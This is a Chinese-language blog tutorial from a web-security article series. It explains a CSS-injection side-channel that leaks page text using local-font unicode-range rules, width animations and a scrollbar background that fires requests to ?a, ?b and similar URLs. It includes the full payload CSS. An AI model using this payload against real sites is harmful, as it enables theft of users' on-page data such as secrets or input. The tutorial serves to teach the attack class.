CSS 相關的攻擊 (下篇之 4)

15th鐵人賽

kika

2023-09-27 20:38:23

394 瀏覽

分享至

CSS 相關的攻擊(下篇之 4)

文字節點洩漏（二）：使用預設字體精準猜字元集

本篇介紹一種更進階、不依賴外部字體檔案的 CSS 洩漏技巧，僅透過瀏覽器內建的字體，就能偷偷推測使用者輸入的文字內容！

攻擊概念：透過動畫＋預設字體找出文字中出現的字元

這個方法的核心邏輯是：

使用動畫讓一段文字逐漸「顯示」出來

每次增加一個字元寬度，讓內容從後綴漸漸「移動」到前綴行

若某字元存在，將觸發垂直 scrollbar，就能作為 side-channel 洩漏

關鍵技巧解析：

使用 @font-face 搭配 unicode-range 偵測字元
@font-face 可以為某些字元（Unicode 範圍）指定字體

當該字元在畫面中出現時，瀏覽器才會啟用對應字體

若這字體的樣式造成高度變化，就會觸發 scrollbar！

不使用外部資源怎麼辦？

使用內建字體如 Comic Sans MS（高度較高）

讓它成為我們的「字元偵測器」！

攻擊範例（精簡重組）

@font-face {
  font-family: has_A;
  src: local('Comic Sans MS');
  unicode-range: U+41; /* A */
}
@font-face {
  font-family: has_B;
  src: local('Comic Sans MS');
  unicode-range: U+42; /* B */
}
/* 持續定義其他字元... */

div.leak {
  overflow-y: auto;               /* 開啟垂直 scroll bar 偵測 */
  overflow-x: hidden;
  height: 40px;
  font-size: 0px;
  font-family: rest;
  width: 0px;
  animation: loop step-end 200s 0s, trychars step-end 2s 0s;
  animation-iteration-count: 1, infinite;
}

div.leak::first-line {
  font-size: 30px;               /* 第一行顯示出可見文字 */
  text-transform: uppercase;
}

兩個動畫邏輯：

@keyframes loop – 逐步增加寬度（模擬逐字顯示）

@keyframes loop {
  0% { width: 0px }
  1% { width: 20px }
  2% { width: 40px }
  3% { width: 60px }
  /* 可依需要調整 */
  7% { width: 0px }
}

@keyframes trychars – 輪流切換字體，偵測出現的字元

@keyframes trychars {
  0%  { font-family: rest; }
  5%  { font-family: has_A, rest; --leak: url(?a); }
  6%  { font-family: rest; }
  10% { font-family: has_B, rest; --leak: url(?b); }
  11% { font-family: rest; }
  /* 持續偵測所有可能字元 */
}

Scroll bar Side-channel：

當某字元成功被渲染成 Comic Sans（且高度增加），會觸發 scroll bar 出現。我們再定義 scroll bar 背景來進行洩漏：

div::-webkit-scrollbar:vertical {
  background: blue var(--leak);
}

這會讓有出現的字元觸發對 ?a、?b 等的 request。

攻擊技巧揭露自 "Slackers": https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/

不同於前幾篇的地方？

不需要外部字體（只用 local('Comic Sans MS')）
可大量嘗試字元（從 AZ、09 等）
結合動畫可精準控制「逐字增長」並拆出 prefix

攻擊流程摘要：

建立 @font-face 對應所有想猜的字元

設定動畫，每次增加文字寬度

當新字元出現於畫面時，若觸發 scrollbar，即可透過 background 洩漏字元

重複動作 → 逐步洩露整段文字

小結：文字節點洩漏技巧的重點回顧

技術名稱	技巧要點
unicode-range	只在對應字元出現時才載入特定字體
local(font)	不依賴外部資源也能測試字元
first-line + scroll	用於分離 prefix 並製造 scrollbar 偵測
@keyframes + width	模擬逐字 reveal，搭配動畫達成 side-channel
--leak + background	洩漏機制：改變 scrollbar 背景送出資料